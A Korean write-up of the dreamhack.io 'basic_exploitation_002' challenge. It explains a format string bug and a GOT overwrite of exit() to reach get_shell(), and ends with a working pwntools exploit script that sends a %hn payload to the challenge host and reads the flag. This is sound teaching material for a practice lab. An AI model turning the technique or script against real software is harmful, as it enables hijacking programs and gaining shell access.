dreamhack.io
printf(buf) instead of printf("%s", buf) - a format string bug turned into a GOT overwrite.
basic_exploitation_002 다. 이 문제는 FSB (Format String Bug) + GOT Overwrite 문제임! 보자 보자 코드 먼저보자

취약점 read(0, buf, 0x80); printf(buf); // ← 여기! printf(buf) 대신 printf(“%s”, buf) 였어야 함 printf(buf)처럼 사용자 입력을 포맷 스트링으로 직접 넘기면, %x, %p, %n 같은 포맷 지시자를 통해 메모리 읽기/쓰기 가 가능해져. 핵심 구조
항목 내용
취약점 Format String Bug (printf(buf))
목표 get_shell() 함수 실행
방법 exit()의 GOT 주소를 get_shell() 주소로 덮어쓰기 포맷 지시자 %p로 주소 leak, %n으로 쓰기
익스플로잇 흐름
- printf(buf)로 스택 값 leak → 주소 파악
- exit@GOT 주소 찾기
- %n 으로 exit@GOT → get_shell() 주소로 overwrite
- exit(0) 호출 시 → 실제로 get_shell() 실행됨!
여기서 잠깐! 왜 exit GOT를 노리냐?
printf(buf); exit(0); // ← printf 다음에 바로 exit 호출 return이 없고 exit()로 끝나기 때문에, exit의 GOT를 get_shell로 바꾸면 printf 이후 자동으로 쉘 획득!
여기서 잠깐! GOT 가 뭔가요!? GOT란? Global Offset Table - 외부 함수(libc 등)의 실제 주소를 저장해두는 테이블이 야. 프로그램이 exit() 호출 → GOT[exit] 주소로 점프 → 거기 적힌 주소로 실행 그래서 GOT에 적힌 주소를 바꾸면 → 함 수 호출을 가로챌 수 있어! ** read(0, buf, 0x80); // buf 크기 = 0x80 때문에 bof 안됨. 그럼 여기서! GOT overwrite 는 어뜨케 하는가 %n 포맷 지시자 활용 %n 이란? cprintf(“AAAA%n”, &var); // → 지금까지 출력한 글자 수(4)를 &var에 써버림! %n은 “지금까지 출력된 바이트 수”를 메모리에 쓰는 특수 지시자야. 이걸 이용해서 원하는 주소에 원하 는 값을 쓸 수 있어! GOT 주소는 이렇게 알아내기!

get shell 주소는 gdb 로!

그럼 오프셋을 알아보자! 오프셋은 왜 알아야하냐? 그래서 payload를 이렇게 구성하면: [ exit@GOT 주소 ] + [ %Nn → 스택 1번째 값이 가리키는 주소에 써줘 = exit@GOT 에 get_shell 주소를 써줘!

참고로 위에처럼 알아낼수있어! 그래서 최종 코드는:
from pwn import *
p = remote("host8.dreamhack.games", 23790)
exit_got = 0x0804a024
get_shell = 0x08048609
payload = p32(exit_got)
payload += p32(exit_got + 2)
payload += b"%34305c%1$hn"
payload += b"%33275c%2$hn"
p.send(payload)
p.sendline(b"cat flag") # 셸이 뜨자마자 바로 명령어 전송
p.interactive()
열리자마자 TIME OUT 이 계속 나와서 p.sendline(b"cat flag") 를 미리 넣어버렸다. 답이 나왔다.